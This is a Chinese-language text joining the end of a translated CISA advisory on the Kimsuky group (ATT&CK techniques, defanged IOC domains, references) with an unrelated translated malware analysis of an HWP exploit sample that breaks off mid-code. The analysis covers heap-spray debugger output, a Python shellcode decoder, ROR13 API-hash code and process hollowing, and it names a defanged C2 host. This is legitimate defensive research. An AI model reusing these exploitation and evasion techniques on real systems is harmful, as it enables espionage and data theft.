* Kimsuky黑客使用了键盘记录程序，将磁盘上已泄漏的数据传输到其C2服务器，随后将其 _删除（主机指示：文件删除_ [ [T1070.004](https://attack.mitre.org/versions/v7/techniques/T1070/004/) ]）。[ [42](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/) ]
* Kimsuky黑客已使用执行Microsoft HTA的实用程序：`mshta.exe`。`.hta`通过受信任的Windows实用程序（ _二进制代理执行：Mshta_ [ [T1218.005](https://attack.mitre.org/versions/v7/techniques/T1218/005) ]）用于恶意文件和JavaScript或VBS的 _代理执行_ 。它也可以用来绕过应用程序的准许。（ _滥用控制机制：绕过用户访问控制_ [ [T1548.002](https://attack.mitre.org/versions/v7/techniques/T1548/002) ]），[ [43](https://attack.mitre.org/groups/G0094/) ]，[ [44](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/what-is-mshta-how-can-it-be-used-and-how-to-protect-against-it/) ]
* 上面已指出，Win7Elevate也用于规避传统措施。Win7Elevatve是Metasploit框架开源代码的一部分，用于将恶意代码注入explorer.exe（ _进程注入_ [ [T1055](https://attack.mitre.org/versions/v7/techniques/T1055) ]）。恶意代码从解密程序库，将解密后的文件以随机名称保存在磁盘上受害者的临时文件夹中，并将该文件作为库加载。[ [45](https://www.securityweek.com/north-korea-suspected-cyber-espionage-attacks-against-south-korean-entities) ]，[ [46](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/) ]，[ [47](https://attack.mitre.org/groups/G0094/) ]
#### 6、访问凭证
Kimsuky黑客使用合法工具和网络探测器从Web浏览器、文件和键盘记录器（[
[TA0006](https://attack.mitre.org/versions/v7/tactics/TA0006/) ]）中收集凭证。
* Kimsuky黑客使用内存转储程序而非知名恶意软件，使用Windows命令行管理工具：`ProcDump`，允许用户根据某些标准（例如，中央处理器（CPU）的利用率高（ _OS凭据转储_ [ [T1003](https://attack.mitre.org/versions/v7/techniques/T1003/) ] ）创建进程的崩溃/核心转储）。`ProcDump`监视CPU峰值并在达到某个值时生成故障转储，将信息传递到保存在计算机上的Word文档中。它可以用作一般流程转储实用程序，黑客可以将其嵌入其他脚本中，如Kimsuky将其包含`ProcDump`在BabyShark恶意软件中。[ [48](https://www.microsoft.com/security/blog/2019/05/09/detecting-credential-theft-through-memory-access-modelling-with-microsoft-defender-atp/) ]
* 根据安全研究人员的说法，Kimsuky滥用Chrome扩展程序，从浏览器中窃取密码和cookie（ _Man-in-the-Browser_ [ [T1185](https://attack.mitre.org/versions/v7/techniques/T1185/) ].)[ [49](https://attack.mitre.org/groups/G0094/) ]，[ [50](https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/) ]。使用冒名电子邮件将受害者引导到钓鱼网站，并向受害者显示良性PDF文档，但无法查看它。然后将受害者定向到正式的Chrome Web Store页面以安装Chrome扩展程序，该扩展程序窃取cookie和站点密码，并通过`jQuery.js`从单独站点加载名为JavaScript的文件（见图3）。[ [51](https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/) ]
_图3：名为`jQuery.js`_[ [52](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia) ]的 _JavaScript文件_
* Kimsuky黑客还使用名为PowerShell的基于PowerShell的键盘记录程序和名为Nirsoft SniffPass的网络探测工具（ _输入捕获：键盘记录_ [ [T1056.001](https://attack.mitre.org/versions/v7/techniques/T1056/001/) ]，*网络探测[ [T1040](https://attack.mitre.org/versions/v7/techniques/T1040/) ]）。通过挖掘加密货币的工具“ cryptojacker”将其记录到`%userprofile%\appdata\roaming\apach.{txt,log}`。因此Nirsoft SniffPass能获取通过非安全协议发送的密码。[ [53](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia) ]
* Kimsuky黑客使用修改过的PHProxy（一种用PHP编写的开源Web代理）版本来检查受害者访问的网站之间的流量，并收集其输入的个人信息。[54]
#### 7、其他发现
Kimsuky黑客似乎依赖于使用受害者的操作系统命令提示符来枚举文件结构和系统信息（ _文件和目录_ [
[T1083](https://attack.mitre.org/versions/v7/techniques/T1083/)
]）。该信息被定向到`C:\WINDOWS\msdatl3.inc`恶意软件，并可能通过电子邮件发送到恶意软件的命令服务器。[
[55](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/) ]
#### 8、收集
Kimsuky黑客通过其HWP文档恶意软件和其键盘记录程序（ _集合_ [
[TA0009](https://attack.mitre.org/versions/v7/tactics/TA0009/)
]）从受害系统中收集数据。HWP文档恶意软件将更改 注册表中的默认程序关联以打开HWP文档（ _事件触发执行：更改默认文件关联_ [
[T1546.001](https://attack.mitre.org/versions/v7/techniques/T1546/001/)
]）。当用户打开HWP文件时，注册表项更改会触发恶意软件的执行，该恶意软件会打开HWP文档，将HWP文档的副本发送到对手控制下的帐户。允许用户正常打开文件，而无需任何提示用户发生任何事情。击键记录器拦截击键并将其写入`C:\Program
Files\Common Files\System\Ole DB\msolui80.inc`并记录用户按下键的活动窗口名称（ _输入捕获：键盘记录_ [
[T1056.001](https://attack.mitre.org/versions/v7/techniques/T1056/001/)
]）。还有另一个击键记录程序变体，可将记录储存到`C:\WINDOWS\setup.log`。[
[56](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
]中。
Kimsuky黑客还使用了Mac OS Python植入程序，该程序从Mac OS系统收集数据并将其发送到C2服务器（ _命令和脚本解释器：Python_
[
[T1059.006]](https://attack.mitre.org/versions/v7/techniques/T1059/006/)）。Python程序根据后面指定的C2选项下载各种植入物`filedown.php`（请参见图4）。
_图4：针对MacOS的Python脚本_ [57]
#### 9、命令与控制
Kimsuky黑客使用修改后的TeamViewer客户端5.0.9104版进行 _命令和控制_ [
[TA0011](https://attack.mitre.org/versions/v7/tactics/TA0011/) ]（ _远程访问软件_ [
[T1219](https://attack.mitre.org/versions/v7/techniques/T1219/)
]）。在初始感染期间，将创建服务“远程访问服务”并将其调整为`C:\Windows\System32\vcmon.exe`在系统启动时执行（
_引导或登录自动启动执行：注册表运行键/启动文件夹_ [
[T1547.001](https://attack.mitre.org/versions/v7/techniques/T1547/001/)
]）。`vcmon.exe`执行时，它都会通过将注册表值清零来禁用防火墙（ _Impair Defenses：禁用或修改系统防火墙_ [
[T1562.004](https://attack.mitre.org/versions/v7/techniques/T1562/004/)
]）。通过更改以下内容来修改TeamViewer注册表设置：`TeamViewer`TeamViewer组件中的字符串；启动程序配置包括`SecurityPasswordAES`的注册表值，控制远程访问工具的工作方式。SecurityPasswordAES`注册表值表示由远程用户使用的密码的散列来连接的TeamViewer客户端（使用备用认证资料：通过hash[
[T1550.002](https://attack.mitre.org/techniques/T1550/002/)
]）。这样，攻击者可以设置预共享的身份验证值以访问TeamViewer Client。黑客将执行TeamViewer客户端`netsvcs.exe`。[
[58](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/) ]
Kimsuky黑客使用统一格式。在最近使用的网址中，“ `express[.]php?op=1`—”似乎是从1到3的选项范围。[59]
#### 10、渗出
网络安全公司报告中描述了两种已知的Kimsuky黑客用于exfiltrate窃取数据的方法：通过电子邮件或随机生成的117字节（如MD5
hash生成的RC4密钥 _渗出_ [
[TA0010](https://attack.mitre.org/versions/v7/tactics/TA0010/) ]）。
暂无迹象表明该黑客在渗出过程中破坏了计算机，这表明Kimsuky黑客的意图是窃取信息，而非破坏计算机网络。Kimsuky黑客首选的方法是通过电子邮件发送或接收被泄露的信息，恶意软件会在将数据发送到C2服务器之前对其进行加密（
_存档收集的数据_ [ [T1560](https://attack.mitre.org/versions/v7/techniques/T1560)
]）。Kimsuky黑客还在受害者的电子邮件帐户中设置了自动转发功能（ _电子邮件转发规则_ [
[T1114.003](https://attack.mitre.org/versions/v7/techniques/T1114/003/) ]）。
Kimsuky黑客使用MD5 hash生成的RC4密钥或随机生成的117字节窃取数据，并以RSA加密方式发送（加密
_通道[T1573.001](https://attack.mitre.org/versions/v7/techniques/T1573/001)
]）。Kimsuky黑客的恶意软件构造了一个1120位的公共密钥。最终的数据文件保存在`C:\Program Files\Common
Files\System\Ole DB\`（_数据分段：本地数据分段*[
[T1074.001](https://attack.mitre.org/versions/v7/techniques/T1074/001) ]）中。[
[60](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/) ]
## 四、Indicators of Compromise
有关IOC的可下载副本，请参阅[AA20-301A.stix](https://us-cert.cisa.gov/sites/default/files/publications/AA20-301A.stix.xml)。
_表1：Kimsuky黑客使用的域_
`login.bignaver[.]com` | `nytimes.onekma[.]com` | `webuserinfo[.]com`
---|---|---
`member.navier.pe[.]hu` | `nid.naver.onektx[.]com` | `pro-navor[.]com`
`cloudnaver[.]com` | `read.tongilmoney[.]com` | `naver[.]pw`
`resetprofile[.]com` | `nid.naver.unicrefia[.]com` | `daurn[.]org`
`servicenidnaver[.]com` | `mail.unifsc[[.]com` | `naver.com[.]de`
`account.daurn.pe[.]hu` | `member.daum.unikortv[.]com` | `ns.onekorea[.]me`
`login.daum.unikortv[.]com` | `securetymail[.]com` | `riaver[.]site`
`account.daum.unikortv[.]com` | `help-navers[.]com` | `mailsnaver[.]com`
`daum.unikortv[.]com` | `beyondparallel.sslport[.]work` | `cloudmail[.]cloud`
`member.daum.uniex[.]kr` | `comment.poulsen[.]work` | `helpnaver[.]com`
`jonga[.]ml` | `impression.poulsen[.]work` | `view-naver[.]com`
`myaccounts.gmail.kr-infos[.]com` | `statement.poulsen[.]work` | `view-hanmail[.]net`
`naver.hol[.]es` | `demand.poulsen[.]work` | `login.daum.net-accounts[.]info`
`dept-dr.lab.hol[.]es` | `sankei.sslport[.]work` | `read-hanmail[.]net`
`Daurn.pe[.]hu` | `sts.desk-top[.]work` | `net.tm[.]ro`
`Bigfile.pe[.]hu` | `hogy.desk-top[.]work` | `daum.net[.]pl`
`Cdaum.pe[.]hu` | `kooo[.]gq` | `usernaver[.]com`
`eastsea.or[.]kr` | `tiosuaking[.]com` | `naver.com[.]ec`
`myaccount.nkaac[.]net` | `help.unikoreas[.]kr` | `naver.com[.]mx`
`naver.koreagov[.]com` | `resultview[.]com` | `naver.com[.]se`
`naver.onegov[.]com` | `account.daum.unikftc[.]kr` | `naver.com[.]cm`
`member-authorize[.]com` | `ww-naver[.]com` | `nid.naver.com[.]se`
`naver.unibok[.]kr` | `vilene.desk-top[.]work` | `csnaver[.]com`
`nid.naver.unibok[.]kr` | `amberalexander.ghtdev[.]com` | `nidnaver[.]email`
`read-naver[.]com` | `nidnaver[.]net` | `cooper[.]center`
`dubai-1[.]com` | `coinone.co[.]in` | `nidlogin.naver.corper[.]be`
`amberalexander.ghtdev[.]com` | `naver.com[.]pl` | `nid.naver.corper[.]be`
`gloole[.]net` | `naver[.]cx` | `naverdns[.]co`
`smtper[.]org` | `smtper[.]cz` | `naver.co[.]in`
`login.daum.kcrct[.]ml` | `myetherwallet.com[.]mx` | `downloadman06[.]com`
`login.outlook.kcrct[.]ml` | `myetherwallet.co[.]in` | `loadmanager07[.]com`
`top.naver.onekda[.]com` | `com-download[.]work` | `com-option[.]work`
`com-sslnet[.]work` | `com-vps[.]work` | `com-ssl[.]work`
`desk-top[.]work` | `intemet[.]work` | `jp-ssl[.]work`
`org-vip[.]work` | `sslport[.]work` | `sslserver[.]work`
`ssltop[.]work` | `taplist[.]work` | `vpstop[.]work`
`webmain[.]work` | `preview.manage.org-view[.]work` | `intranet.ohchr.account-protect[.]work`
_表2：Kimsuky黑客使用的域名_
`[REDACTED]/home/dwn[.]php?van=101` | `[REDACTED]/home/dwn[.]php?v%20an=101` |
`[REDACTED]/home/dwn[.]php?van=102`
---|---|---
`[REDACTED]/home/up[.]php?id=NQDPDE` |
`[REDACTED]/test/Update[.]php?wShell=201` | ``
## 五、联系方式
举报相关网络犯罪活动，请通过以下网址与当地的联邦调查局办事处联系：[www.fbi.gov/contact-us/field](https://www.fbi.gov/contact-us/field-offices)，或致电联邦调查局的24/7网络观察（CyWatch）热线：（855）
292-3937，还可通过电子邮件发送至[[email protected]](mailto:[email protected])。请提供有关事件的日期、时间、地点、类型、受影响的人数、设备类型、个人或组织的名称、联系方式。请求相关响应资源或技术支持，请通过[[email protected]](mailto:[email protected])与CISA联系。
## 六、参考文献
[[1] Netscout: Stolen Pencil Campaign Targets Academia
](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia)
[[2] CYWARE Social: Babyshark malware continues to target nuclear and
cryptocurr…](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829)
[[3] CYWARE Social: Babyshark malware continues to target nuclear and
cryptocurr…](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829)
[[4] Netscout: Stolen Pencil Campaign Targets Academia
](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia)
[[5] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[6] Securityweek.com: North Korean Suspected Cyber-espionage Attacks Against
So…](https://www.securityweek.com/north-korea-suspected-cyber-espionage-attacks-against-south-korean-entities)
[[7] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[8] CrowdStrike: 2020 Global Threat
Report](https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf)
[[9] Malwarebytes: APTs and COVID-19: How advanced persistent threats use the
co…](https://blog.malwarebytes.com/threat-analysis/2020/04/apts-and-covid-19-how-advanced-persistent-threats-use-the-coronavirus-as-a-lure/)
[[10] PwC: Tracking ‘Kimsuky’, the North Korea-based cyber espionage group:
Part…](https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html)
[[11] CrowdStrike: 2020 Global Threat
Report](https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf)
[[12] Netscout: Stolen Pencil Campaign Targets Academia
](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia)
[[13] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[14] Private Sector Partner
[[15] CYWARE Social: Babyshark malware continues to target nuclear and
cryptocur…](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829)
[[16] Malwarebytes: APTs and COVID-19: How advanced persistent threats use the
c…](https://blog.malwarebytes.com/threat-analysis/2020/04/apts-and-covid-19-how-advanced-persistent-threats-use-the-coronavirus-as-a-lure/)
[[17] cyberscoop: North Korea could accelerate commercial espionage to meet
Kim’…](https://www.cyberscoop.com/north-korea-accelerate-commercial-espionage-meet-kims-economic-deadline/)
[[18] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[19] CYWARE Social: Babyshark malware continues to target nuclear and
cryptocur…](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829)
[[20] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[21] Palo Alto Networks Unit 42: New BabyShark Malware Targets U.S. National
Se…](https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/)
[[22] Palo Alto Networks Unit 42: New BabyShark Malware Targets U.S. National
Se…](https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/)
[[23] CYWARE Social: Babyshark malware continues to target nuclear and
cryptocur…](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829)
[[24] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[25] Palo Alto Networks Unit 42: BabyShark Malware Part Two – Attacks
Continue …](https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/)
[[26] McAfee: What is mshta, how can it be used and how to protect against
it](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/what-is-mshta-how-can-it-be-used-and-how-to-protect-against-it/)
[[27] Palo Alto Networks Unit 42: New BabyShark Malware Targets U.S. National
Se…](https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/)
[[28] Netscout: Stolen Pencil Campaign Targets
Academia](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia)
[[29] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[30] Palo Alto Networks Unit 42: New BabyShark Malware Targets U.S. National
Se…](https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/)
[[31] Netscout: Stolen Pencil Campaign Targets Academia
](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia)
[[32] Securelist: The “Kimsuky” Operation: A North Korean
APT?](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[33] Private Sector Partner
[34] Private Sector Partner
[[35] Securelist: The “Kimsuky” Operation: A North Korean
APT?](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[[36] Yoroi: The North Korean Kimsuky APT Keeps Threatening South Korea
Evolving…](https://yoroi.company/research/the-north-korean-kimsuky-apt-keeps-threatening-south-korea-evolving-its-ttps/)
[[37] Yoroi: The North Korean Kimsuky APT Keeps Threatening South Korea
Evolving…](https://yoroi.company/research/the-north-korean-kimsuky-apt-keeps-threatening-south-korea-evolving-its-ttps/)
[[38] Securelist: The “Kimsuky” Operation: A North Korean
APT?](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[[39] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[40] Securelist: The “Kimsuky” Operation: A North Korean
APT?](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[[41] Securelist: The “Kimsuky” Operation: A North Korean
APT?](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[[42] Securelist: The “Kimsuky” Operation: A North Korean
APT?](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[[43] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[44] McAfee: What is mshta, how can it be used and how to protect against
it](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/what-is-mshta-how-can-it-be-used-and-how-to-protect-against-it/)
[[45] Securityweek.com: North Korean Suspected Cyber-espionage Attacks Against
S…](https://www.securityweek.com/north-korea-suspected-cyber-espionage-attacks-against-south-korean-entities)
[[46] Securelist: The “Kimsuky” Operation: A North Korean
APT?](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[[47] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[48] Detecting credential theft through memory access modelling with
Microsoft …](https://www.microsoft.com/security/blog/2019/05/09/detecting-credential-theft-through-memory-access-modelling-with-microsoft-defender-atp/)
[[49] MITRE ATT&CK: Groups – Kimsuky](https://attack.mitre.org/groups/G0094/)
[[50] ZDNet: Cyber-espionage-group-uses-chrome-extension-to-infect-victims](https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/)
[[51] ZDNet: Cyber-espionage-group-uses-chrome-extension-to-infect-victims](https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/)
[[52] Netscout: Stolen Pencil Campaign Targets Academia
](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia)
[[53] Netscout: Stolen Pencil Campaign Targets Academia
](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia)
[54] Private Sector Partner
[[55] Securelist: The “Kimsuky” Operation: A North Korean APT?
](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[[56] Securelist: The “Kimsuky” Operation: A North Korean APT?
](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[57] Private Sector Partner
[[58] Securelist: The “Kimsuky” Operation: A North Korean APT?
](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
[59] Private Sector Partner
[[60] Securelist: The “Kimsuky” Operation: A North Korean APT?
](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)
## Revisions
2020年10月27日：初始版本
* * * | 社区文章 |
# 对某HWP漏洞样本的shellcode分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近拿到一个新的HWP样本，样本本身利用的是一个老漏洞，这个样本吸引我们的是shellcode部分。相关漏洞的细节我们在[之前的文章](https://www.anquanke.com/post/id/163085)中已有描述。需要注意的是，这次的样本和上次的样本在最终的执行流切换方面有一些差异。前一段时间我们曾审计过一些HWP样本，发现不同HWP样本在触发该漏洞后具体的执行流切换上存在4种不同的情况。上次的漏洞分析文章是第1种情况，本次的样本是第2种情况，此外还有2种其他情况，相关的MD5示例如下：
第1种情况：
33874577bf54d3c209925c9def880eb9
第2种情况：
660b607e74c41b032a63e3af8f32e9f5
e488c2d80d8c33208e2957d884d1e918 (本次调试样本)
第3种情况：
f58e86638a26eb1f11dd1d18c47fa592
第4种情况：
14b985d7ae9b3024da487f851439dc04
本次调试环境为 windows7_sp1_x86 + HWP2010英文版 (hwpapp.dll 8.0.0.466) + windbg x86
这个样本在漏洞触发成功后执行的shellcode让我们眼前一亮，样本在漏洞触发后先执行第1阶段shellcode去解密第2阶段的shellcode。在第2阶段的shellcode中，通过hash比对的方式从kernel32.dll中获取功能函数，然后创建
`C:Windowssystem32userinit.exe`
进程并且在创建时挂起，接着从文档内容中查找标志头，定位到被加密的PE文件数据，随后通过两轮解密解出PE文件，将其写入userinit.exe进程的`0x400000`处，随后修改userinit.exe进程的`Peb.ImageBaseAddress`为新写入的PE文件，并且修改userinit.exe的主线程的线程上下背景文的`Context.eax`为新写入PE文件的`AddressOfEntryPoint`，然后恢复userinit.exe的主线程，从而将执行流切换到注入的PE文件的入口地址，这是一种`Process
Hollowing`技术，相关原理在[这个网页](https://cysinfo.com/detecting-deceptive-hollowing-techniques/)中有描述。这种方法让分析人员较难提取到注入的PE文件，在沙箱中跑时也不会显式drop出PE文件，可以说有效躲避了检测。注入的PE文件启动后，会收集系统信息保存到`%appdata%MicrosoftNetworkxyz`,随后发给远程C2(`online[-]business.atwebpages[.]com`)，然后在一个while循环中进行等待，如果收集的信息显示当前目标存在价值，远程C2会下发一个动态库保存到`%appdata%MicrosoftNetworkzyx.dll`并使之加载。比较遗憾的是，我们在调试时并没有得到`zyx.dll`。
## 文档信息
用`HwpScan2`工具打开该文档，先看一下基本属性部分。可以看到原始文档在2016年就已经生成。
原文档是限制编辑的，打开后文档内容无法复制，实际的段落内容被存储在”ViewText”流下，而不是常规的”BodyText”流下：
关于这一点，VB2018的一个[PPT](https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/KimKwakJang-VB2018-Dokkaebi.pdf)上有详细的介绍：
Section1和Section2这两个Section里面含有被压缩后的堆喷射数据，在文档打开期间解压后的数据会被喷射到指定的内存。
## 内存布局
这个样本用到了堆喷射来布局内存，我们在调试器里面看一下堆喷射的具体细节：
sxe ld:hwpapp.dll
...
ModLoad: 046f0000 04ad1000 C:Program FilesHncHwp80HwpApp.dll
eax=0012ee68 ebx=00000000 ecx=00000006 edx=00000000 esi=7ffdf000 edi=0012eff4
eip=772270b4 esp=0012ef0c ebp=0012ef60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
772270b4 c3 ret
0:000> bp hwpapp+1122f3 ".if(edx == hwpapp+bded0){g;}.else{}"
0:000> g
DllMain() : DLL_PROCESS_ATTACH - ABase Start!
(d8c.468): C++ EH exception - code e06d7363 (first chance)
eax=20142014 ebx=0012f6bc ecx=20142014 edx=20142014 esi=02c86d18 edi=00000098
eip=048022f3 esp=0012ed90 ebp=02d881a8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp!HwpCreateParameterArray+0x8c433:
048022f3 ffd2 call edx {20142014}
0:000> !heap
NtGlobalFlag enables following debugging aids for new heaps: stack back traces
Index Address Name Debugging options enabled
1: 00230000
2: 00010000
3: 01980000
4: 02650000
5: 02770000
6: 02950000
7: 025d0000
8: 028f0000
9: 03250000
10: 028d0000
11: 04e20000
12: 06720000
13: 07440000
14: 07590000
// 可以看到5号堆块几乎被完全用完
0:000> !heap -stat -h 02770000
heap @ 02770000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
42003b0 2 - 8400760 (49.47)
420035c 2 - 84006b8 (49.47)
e4 926 - 825d8 (0.19)
f0 38a - 35160 (0.08)
194 1cf - 2daac (0.07)
24000 1 - 24000 (0.05)
18 15d9 - 20c58 (0.05)
20000 1 - 20000 (0.05)
100 190 - 19000 (0.04)
aa00 2 - 15400 (0.03)
28 6e1 - 11328 (0.03)
10bc0 1 - 10bc0 (0.02)
10000 1 - 10000 (0.02)
fda0 1 - fda0 (0.02)
fb50 1 - fb50 (0.02)
a8 158 - e1c0 (0.02)
4400 3 - cc00 (0.02)
2200 6 - cc00 (0.02)
800 17 - b800 (0.02)
82 13b - 9ff6 (0.01)
0:000> !heap -flt s 420035c
_HEAP @ 230000
_HEAP @ 10000
_HEAP @ 1980000
_HEAP @ 2650000
_HEAP @ 2770000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
invalid allocation size, possible heap corruption
121b0018 84006d 0000 [00] 121b0030 420035c - (busy VirtualAlloc)
invalid allocation size, possible heap corruption
242d0018 84006d 006d [00] 242d0030 420035c - (busy VirtualAlloc)
_HEAP @ 2950000
_HEAP @ 25d0000
_HEAP @ 28f0000
_HEAP @ 3250000
_HEAP @ 28d0000
_HEAP @ 4e20000
_HEAP @ 6720000
_HEAP @ 7440000
_HEAP @ 7590000
0:000> !heap -flt s 42003b0
_HEAP @ 230000
_HEAP @ 10000
_HEAP @ 1980000
_HEAP @ 2650000
_HEAP @ 2770000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0a6d0018 840078 0000 [00] 0a6d0030 42003b0 - (busy VirtualAlloc)
200c0018 840078 0078 [00] 200c0030 42003b0 - (busy VirtualAlloc)
_HEAP @ 2950000
_HEAP @ 25d0000
_HEAP @ 28f0000
_HEAP @ 3250000
_HEAP @ 28d0000
_HEAP @ 4e20000
_HEAP @ 6720000
_HEAP @ 7440000
_HEAP @ 7590000
// 推测Section1和Section2分别被映射了两次，我们来看一下堆喷射的总大小
0:000> ? 42003b0 / 400 / 400
Evaluate expression: 66 = 00000042
// 可以看到堆喷射的大小总大小为264MB，单个堆块大小为66MB，0x20142014地址稳定位于0x200c0030左右开始的喷射区域，所以可以很方便地劫持控制流。
0:000> ? 42 * 4
Evaluate expression: 264 = 00000108
## 第1阶段shellcode
漏洞触发成功之后，首先跳转到`0x20142014`这个地址，由于前面已经通过堆喷射布局内存，所以执行流可以一路滑行到`0x242bf714`(这里再强调一下，HWP2010并未开启DEP，所以可以直接在堆上执行shellcode)以执行第1阶段的shellcode。下面来看一下shellcode部分。
0:000> u 242bf714
242bf714 52 push edx
242bf715 53 push ebx
242bf716 56 push esi
242bf717 50 push eax
242bf718 57 push edi
242bf719 ba14201420 mov edx,20142014h
...
第1阶段的shellcode的主要目的是定位并解密第2阶段的shellcode。从下图可以看到，第1阶段shellcode通过第1轮循环(loc_A)定位到第2阶段shellcode地址，然后通过第2轮循环(loc_22)去解密第2阶段的shellcode。
我们用python模拟了一下上述shellcode的解密过程：
# -*- coding: utf-8 -*- import os
import binascii
cur_dir = os.path.dirname(__file__)
path_encode = os.path.join(cur_dir, "sc_encode.bin")
with open(path_encode, "rb") as f:
bin_data = f.read()
bin_data = binascii.b2a_hex(bin_data)
i = 0
j = 0
k = 0
while k < 0x60D:
a = ((int(bin_data[i:i+2], 16) & 0x0F) << 4) & 0xF0
b = int(bin_data[i+2:i+4], 16) & 0x0F
c = '{:02x}'.format(a + b)
bin_data = bin_data[:j] + c[0] + c[1] + bin_data[j+2:]
i += 2 * 2
j += 2 * 1
k += 1
path_decode = os.path.join(cur_dir, "sc_decode.bin")
with open(path_decode, "wb") as f:
f.write(binascii.a2b_hex(bin_data))
实际解密时从下述数据开始：
解密完成后，我们可以得到如下数据：
## 第2阶段shellcode
### 获取功能函数
得到解密后的第2阶段shellcode后，就可以愉快地在IDA里进行后续分析了。
第2阶段shellcode上来就是一系列hash，看起来貌似是要通过hash比对搜索功能函数。
一番调试和逆向后，我们明白shellcode封装了一个辅助函数用来查找所需的功能函数：
在`GetFuncAddrFromEATByHash`函数内部，作者用循环右移13位的方式计算hash，并查找满足指定hash的动态库(kernel32.dll)内的满足指定hash的函数，然后将它们的地址保存到栈的指定位置，如上图所示。我们这里用C语言还原一下dll的hash的计算过程和api的hash的计算过程：
// 部分代码借鉴自网络，此处表示致谢
#include <stdio.h>
#include <windows.h>
#define ROTATE_RIGHT(x, s, n) ((x) >> (n)) | ((x) << ((s) - (n)))
DWORD GetHashHWPUnicode(WCHAR *wszName)
{
printf("%S", wszName);
DWORD dwRet = 0;
WCHAR* wszCur = 0;
do
{
dwRet = ROTATE_RIGHT(dwRet, 32, 0x0D);
dwRet += *wszName;
wszCur = wszName;
wszName++;
} while (*wszCur);
printf(" function's hash is 0x%.8xn", dwRet);
return dwRet;
}
DWORD GetHashHWPAscii(CHAR *szName)
{
printf("%s", szName);
DWORD dwRet = 0;
CHAR* szCur = 0;
do
{
dwRet = ROTATE_RIGHT(dwRet, 32, 0x0D);
dwRet += *szName;
szCur = szName;
szName++;
} while (*szCur);
printf(" function's hash is 0x%.8xn", dwRet);
return dwRet;
}
int main(int argc, char* argv[])
{
GetHashHWPUnicode(L"KERNEL32.dll");
GetHashHWPUnicode(L"KERNEL32.DLL");
GetHashHWPUnicode(L"kernel32.DLL");
GetHashHWPUnicode(L"kernel32.dll");
